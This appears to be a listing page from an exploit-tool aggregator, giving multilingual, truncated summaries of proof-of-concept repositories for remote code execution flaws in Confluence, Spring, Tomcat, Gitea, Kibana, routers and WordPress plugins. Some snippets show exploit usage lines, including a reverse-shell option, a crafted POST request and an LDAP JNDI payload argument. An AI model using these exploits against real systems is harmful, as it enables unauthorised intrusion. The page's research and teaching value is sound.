CVE-2019-0193

CVE-2019-0193 Exécution de code à distance...

CVE-2019-13025

Connect Box CH7465LG CVE-2019-13025 المعلومات يحتوي هذا المستودع على اثنين من PoCs لـ Connect Box CH7465LG الذي يعمل على البرامج الثابتة CH7465LG-NCIP-6.12.18.24-5p8-NOSH أو أقدم. لمزيد من المعلومات، ألقِ نظرة على مدونتي. الاستخدام تنفيذ الأوامر عن بُعد بدون مصادقة $ python3 poc-rce.py كشف...

CVE-2026-38526

CVE-2026-38526 - Krayin CRM RCE الوصف نص برهان المفهوم PoC لثغرة حرجة في Krayin CRM v2.2.x تسمح بتنفيذ الأوامر عن بُعد RCE عبر تحميل ملف غير مقيد. الاستخدام root@kitploit: Web shell python3 exploit.py -u http://target.com -e [email protected] -p password123 Reverse shell python3 exploit.py -...

CVE-2025-24813

وصف هذا المستودع هو البيئة المخصصة لإعادة إنتاج ثغرة RCE الأخيرة في Tomcat CVE-2025-24813. للاستخدام التعليمي والبحثي فقط! شروط الاستغلال يقوم التطبيق بتمكين ميزة الكتابة لـ DefaultServlet، والتي تكون معطلة افتراضيًا. يدعم التطبيق طلبات PUT الجزئية partial PUT، مما يسمح بكتابة بيانات تسلسل ضارة إ...

CVE-2026-53595_exploit

CVE-2026-53595 + CVE-2026-53593 — Prise de contrôle anonyme de FreeScout → RCE Exécution de code à distance non authentifiée dans FreeScout ≤ 1.8.223 un service d'assistance Laravel en enchaînant deux failles, toutes deux corrigées dans 1.8.224 : CVE-2026-53595 — prise de contrôle anonyme de...

CVE-2026-13157

CVE-2026-13157 Theme Demo Import = 1.1.3 — Téléversement de fichier arbitraire et exécution de code à distance -E5A500?style=for-the-badge&logo=security&logoColor=white 📖 Aperçu de l'avis de sécurité CVE-2026-13157 est une vulnérabilité de téléversement de fichier arbitraire nécessitant une...

CVE-2019-3396

CVE-2019-3396 اجتياز مسار موصل Widget في كونفلونس CVE-2019-3396 RCE POC root@kitploit: POST /rest/tinymce/1/macro/preview HTTP/1.1 Host: x.x.x.x Connection: close Accept-Encoding: gzip, deflate Accept: / User-Agent: Mozilla/5.0 X11; Linux x8664; rv:60.0 Gecko/20100101 Firefox/60.0 Content-Type:...

CVE-2022-30781

🍵 CVE-2022-30781 استغلال تنفيذ الأوامر عن بُعد عبر ترحيل المستودع في Gitea. كيفية الاستخدام 1. قم بتشغيل خادم نظام ملفات HTTP مع الملفات الموجودة في هذا المستودع. 2. قم بتعديل الأمر الذي سيتم تنفيذه في api/v1/repos/e99/exp/pulls/1/index.html L96. 3. قم بترحيل مستودع بعيد باستخدام الرابط...

spring-framework-rce

spring-framework-rce CVE-2022-22965 Prérequis 1. tomcat8 8 Utilisation 1. Téléchargez springframeworkrce-0.0.1-SNAPSHOT.zip, décompressez-le, puis renommez-le en ROOT.war. 2. Remplacez le dossier ROOT ou le fichier ROOT.war situé dans le dossier webapps de tomcat. 3. Déplacez-vous dans le dossier...

CVE-2020-1947

CVE-2020-1947 root@kitploit: usage: CVE-2020-1947.py -h -i IP -p PORT -T ACCESSTOKEN -poc POC python CVE-2020-1947.py -i 192.168.128.135 -p 8088 -T eyJ1c2VybmFtZSI6ImFk -poc ldap://127.0.0.1:1389/CommandObject...

CVE-2019-0708

CVE-2019-0708 استغلال أولي لـ CVE-2019-0708، BlueKeep CVE-2019-0708 BlueKeep RDP: استخدام بعد التحرير عن بُعد في نواة ويندوز يعالج برنامج التشغيل termdd.sys في RDP الارتباطات بالقناة الداخلية MST120 بشكل غير صحيح، مما يسمح لرسالة Disconnect Provider Indication غير صالحة بالتسبب في استخدام بعد...

CVE-2026-14982

The WP File Download plugin for WordPress (versions ≤ 6.3.4 ) is vulnerable to arbitrary file deletion via insufficient path validation in the delete function. Authenticated attackers with subscriber-level access or above can exploit a two-stage attack : first calling the file.save endpoint to pe...

CVE-2022-25581

CVE-2022-25581 Introuvable sur tout le web, je laisse une sauvegarde, script d'exploitation Python , pour automatiser les étapes suivantes : ✅ Objectifs du script 1. Se connecter à l'interface d'administration obtenir csrf et token 2. Construire une requête malveillante pour télécharger une archi...

CVE-2019-7609

CVE-2019-7609 إعداد مختبر دوكر لـ kibana-7609 المرجع : https://github.com/mpgn/CVE-2019-7609 root@kitploit: افتح كيبانا الصق إحدى الحمولات التالية في أداة التصور Timelion انقر على تشغيل على اللوحة اليسرى، انقر على Canvas يجب أن تظهر شلّتك العكسية! : الحمولة بواسطة @securityMB...

CVE-2022-22965_Spring_Core_RCE

Spring-Core-RCE ثغرة تنفيذ الأوامر عن بُعد في Spring Framework CVE-2022-22965 تُعد Spring-Core-RCE أداة استغلال RCE بنقرة واحدة تضاهي ثغرة Apache Log4j2 على مستوى القنبلة النووية. نظرة عامة مؤخرًا، تم ذكر ثغرة تنفيذ الأوامر عن بُعد في Spring Core في قضية GitHub الرسمية لـ Spring، وهذه الثغرة منتش...

pulse-secure-vpn-mitm-research

pulse-secure-vpn-mitm-research Recherche MITM sur Pulse Secure Date de publication Date de publication conjointe avec le fournisseur : 26 octobre 2020 Auteur David Kierznowski, @withdk Crédits Sahil Mahajan de l’équipe PSIRT de Pulse Secure pour le soutien tout au long du processus de divulgation...

confluence-rce-poc

confluence-rce-poc Configuration du POC pour CVE-2021-26084 Docker Utilisez le fichier docker-entrypoint.sh officiel pour postgres, modifiez le nom d'utilisateur et le mot de passe de la base de données selon vos besoins...

pulse-gosecure-rce-poc

root@kitploit: /\ \ /\ \ /\ \ /\ \ /\ \ /::\ \ /::\ /::\ /::\ \ /::\ \ /::::\ \ /:::/ / /:::/ / /::::\ \ /::::\ \ /::::::\ \ /:::/ / /:::/ / /::::::\ \ /::::::\ \ /:::/:::\ \ /:::/ / /:::/ / /:::/:::\ \ /:::/:::\ \ /:::/:::\ \ /:::/ / /:::/ / /:::/:::\ \ /:::/:::\ \ /::::\ :::\ \ /:::/ /...

CVE-2023-46404

CVE-2023-46404 PCRS هو تطبيق ويب لتمارين البرمجة عبر الإنترنت تم تطويره في جامعة تورنتو. انظر مستودع Bitbucket: https://bitbucket.org/utmandrew/pcrs/src/3.11/ ملخص صفحة 'الأسئلة' في PCRS مع تقديم الكود وصفحة 'محرر الكود' عرضة لتنفيذ التعليمات البرمجية عن بُعد RCE عن طريق الهروب من وضع الحماية...

HG532d-RCE-Exploit

استغلال RCE لجهاز HG532d نظرة عامة استغلال لتنفيذ التعليمات البرمجية عن بُعد RCE يعتمد على ثغرة CVE-2017-17215. تم تعديله من كود PoC الأصلي من exploit-db.com ليعمل على أجهزة توجيه هواوي المنزلية من طراز HG532d. الوصف يعتمد استغلال RCE هذا على ثغرة CVE-2017-17215 التي تستغل نقاط الضعف في عملية UPn...